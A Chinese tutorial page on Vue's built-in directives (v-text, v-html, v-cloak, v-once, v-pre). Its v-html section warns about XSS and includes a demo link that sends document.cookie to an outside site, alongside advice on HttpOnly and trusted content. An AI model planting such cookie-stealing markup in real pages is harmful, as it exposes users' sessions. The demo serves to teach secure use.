Vue(Vue2+Vue3)——20.内置指令

简介: Vue(Vue2+Vue3)——20.内置指令

20 内置指令


除了前面见到的v-bind,v-for,v-if,v-on.v-model等,本次学习一些vue提供的其他内置指令


20.1 v-text


给标签插入文本,类似于插值语法

它会把全部的字符串当成文本去解析,不会当成标签的,哪怕写的是标签结构

效果和插值语法是一样的

插值语法比v-text更加的灵活,因为插值语法可以作为字符串拼接,但是v-text的值会替换掉整个div里面的值

前面说过,它会把全部的字符串当成文本去解析,不会当成标签的,哪怕写的是标签结构

不能解析标签的,会以正常文本显示

代码如下

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>初始vue</title>
    <!-- 引入vue.js -->
    <script type="text/javascript" src="../js/vue.js"></script>
    <!-- 在线引入day.js -->
    <!-- <script src="https://cdn.bootcdn.net/ajax/libs/dayjs/1.11.6/dayjs.min.js"></script> -->
    <!--引入day.js -->
    <script src="../js/dayjs.min.js"></script>
</head>
<body>
    <div id="root">
        <!-- 插值语法实现 -->
        <h2>你好,{{name}}</h2>
        <!-- v-text指令实现 -->
        <h2 v-text="str"></h2>
    </div>
</body> 
<script type="text/javascript">
     const vm=  new Vue({
        el:'#root',
        data:{
           name:'vue',
           str:'<h1>你好!!!</h1>'
        },
    })
</script>
</html>

v-text总结

  • v-text指令
  •  1 作用:向其所在的节点渲染文本内容
  •  2 与插值语法的区别:v-text会替换掉节点中的内容,但是插值语法不会,它会进行拼接


20.2 v-html


和v-text作用以及写法类似,区别在于v-html可以帮助我们解析标签

可以发现,使用v-html可以实现标签解析,但是v-text是不行的,这也就是两者的区别


v-html的安全性问题


在网站上渲染任意HTML是非常危险的,容易导致XSS攻击

众所周知,cookie在网络上相当于个人身份证,我们在很多网站上都有cookie,这些信息是不能泄露的,不然可能导致很严重的问题,我们就以cookie为例子,验证v-html的安全性问题

右键检查或者F12,选择Application.左侧找到Storage->Cookies(既然加了S就说明可能存放的是多个网址的cookie),cookie本质就是键值对的JSON格式数据


首先因为的这个页面没有做登录功能,是没有cookie的,我需要自己仿造,双击即可添加

如图所示,我模拟了一些cookie,我们可以通过命令(document.cookie)查看cookie:

既然知道了这些,那么就可以模拟恶意获取cookie的场景,我这里用的是给一个文字,暗箱跳转到百度,并且把本台服务器的cookie作为参数携带进去,注意:这里这是模仿

点击发现跳到了百度,而且携带了我的cookie,这样是很危险的!

但是一般的网址都会做cookie的安全处理,查看cookie可以看到有一个HttpOnly选型,如果勾选上代表只能通过http协议获取,不能通过dom命令获取

比如我全部勾选

通过dom就什么也获取不到了

在网站上渲染任意HTML是非常危险的,容易导致XSS攻击!这不是vue的锅,只是不建议这么使用

代码如下

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>初始vue</title>
    <!-- 引入vue.js -->
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <div id="root">
        <!-- 插值语法实现 -->
        <h2>你好,{{name}}</h2>
        <!-- v-text指令实现 -->
        <h2 v-text="str"></h2>
         <!-- v-html进行标签解析 -->
        <div v-html="str"></div>
        <div v-html="getCookieUrl"></div>
    </div>
</body> 
<script type="text/javascript">
     const vm=  new Vue({
        el:'#root',
        data:{
           name:'vue',
           str:'<h1>你好!!!</h1>',
           getCookieUrl:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>你想要的都在这哦~</a>'
        },
    })
</script>
</html>


v-html总结


  • v-html指令:
  •  1 作用:与指定节点中渲染包含html结构的内容
  •  2 与插值法与的区别
  •    (1)v-html会替换掉节点的所有的内容,{{XX}}则不会
  •       (2)v-html可以识别html标签(结构)
  •     3 严重注意:v-html有安全性问题
  •    (1)在网站上渲染任意HTML是非常危险的,容易导致XSS攻击
  •    (2) 一定要在可信的内容上使用v-html,永远不要用在用户提交的内容上


20.3 v-cloak


由于这个不太好演示,这里只做说明不演示了

这个属性只有名字,没有值

<h2 v-cloak>{{name}}</h2>

它一般配合css控制元素隐藏,等页面全部加载完毕之后,会自动删除v-cloak


v-cloak总结


v-cloak指令

1 它只有名字,没有值

2 本质是一个特殊属性,Vue实例创建完毕并接管容器后,会自动删除c-cloak属性

3 使用css配合v-cloak可以解决网速慢的时候页面展示出{{XXX}}的问题


20.4 v-once


这个属性和v-cloak一样,也是没值的,只有属性名称

通过案例演示下,让vue保存一个数值n,然后让n展示在页面上

初步测试没问题

接下来新增需求,想再写一个h2标签,展示初始化的n值

随着页面的变化,初始化n的值也进行了变化

v-once显然不符合需求,这时候就需要用到v-once了,再h2标签加入

<h2 v-once>初始化n的值是:{{n}}</h2>

这时候再查看页面,实现需求


v-once总结


  •  v-once指令:
  •  1 v-once所在节点在初次动态渲染后,就视为静态内容了
  •  2 以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能


20.5 v-pre


  • 这个指令可以让vue跳过其所在节点的编译过程,也就是vue不会再解析写了v-pre 的东西了
  •    可利用它跳过一些代码,没有使用指令语法的节点,没有使用插值语法的节点,会更快的进行编译

目录
打赏
0
0
0
0
11
分享
相关文章
Vue 中 key 属性的深入解析:改变 key 导致组件销毁与重建
Vue 中 key 属性的深入解析:改变 key 导致组件销毁与重建
191 0
Vue 自定义进度条组件封装及使用方法详解
这是一篇关于自定义进度条组件的使用指南和开发文档。文章详细介绍了如何在Vue项目中引入、注册并使用该组件,包括基础与高级示例。组件支持分段配置(如颜色、文本)、动画效果及超出进度提示等功能。同时提供了完整的代码实现,支持全局注册,并提出了优化建议,如主题支持、响应式设计等,帮助开发者更灵活地集成和定制进度条组件。资源链接已提供,适合前端开发者参考学习。
160 17
Vue 表情包输入组件实现代码及详细开发流程解析
这是一篇关于 Vue 表情包输入组件的使用方法与封装指南的文章。通过安装依赖、全局注册和局部使用,可以快速集成表情包功能到 Vue 项目中。文章还详细介绍了组件的封装实现、高级配置(如自定义表情列表、主题定制、动画效果和懒加载)以及完整集成示例。开发者可根据需求扩展功能,例如 GIF 搜索或自定义表情上传,提升用户体验。资源链接提供进一步学习材料。
82 1
Vue2+VueRouter2+webpack 构建项目
1). 安装Node环境和npm包管理工具 检测版本 node -v npm -v 图1.png 2). 安装vue-cli(vue脚手架) npm install -g vue-cli --registry=https://registry.
1157 0
|
3月前
|
vue实现任务周期cron表达式选择组件
vue实现任务周期cron表达式选择组件
371 4
基于 Vue 与 D3 的可拖拽拓扑图技术方案及应用案例解析
本文介绍了基于Vue和D3实现可拖拽拓扑图的技术方案与应用实例。通过Vue构建用户界面和交互逻辑,结合D3强大的数据可视化能力,实现了力导向布局、节点拖拽、交互事件等功能。文章详细讲解了数据模型设计、拖拽功能实现、组件封装及高级扩展(如节点类型定制、连接样式优化等),并提供了性能优化方案以应对大数据量场景。最终,展示了基础网络拓扑、实时更新拓扑等应用实例,为开发者提供了一套完整的实现思路和实践经验。
239 77
Vue 文件批量下载组件封装完整使用方法及优化方案解析
本文详细介绍了批量下载功能的技术实现与组件封装方案。主要包括两种实现方式:**前端打包方案(基于file-saver和jszip)** 和 **后端打包方案**。前者通过前端直接将文件打包为ZIP下载,适合小文件场景;后者由后端生成ZIP文件流返回,适用于大文件或大量文件下载。同时,提供了可复用的Vue组件`BatchDownload`,支持进度条、失败提示等功能。此外,还扩展了下载进度监控和断点续传等高级功能,并针对跨域、性能优化及用户体验改进提出了建议。可根据实际需求选择合适方案并快速集成到项目中。
182 17
Vue 手风琴实现的三种常用方式及长尾关键词解析
手风琴效果是Vue开发中常见的交互组件,可节省页面空间、提升用户体验。本文介绍三种实现方式:1) 原生Vue结合数据绑定与CSS动画;2) 使用Element UI等组件库快速构建;3) 自定义指令操作DOM实现独特效果。每种方式适用于不同场景,可根据项目需求选择。示例包括产品特性页、后台菜单及FAQ展示,灵活满足多样需求。附代码示例与资源链接,助你高效实现手风琴功能。
105 10
登录插画

登录以查看您的控制台资源

管理云资源
状态一览
快捷访问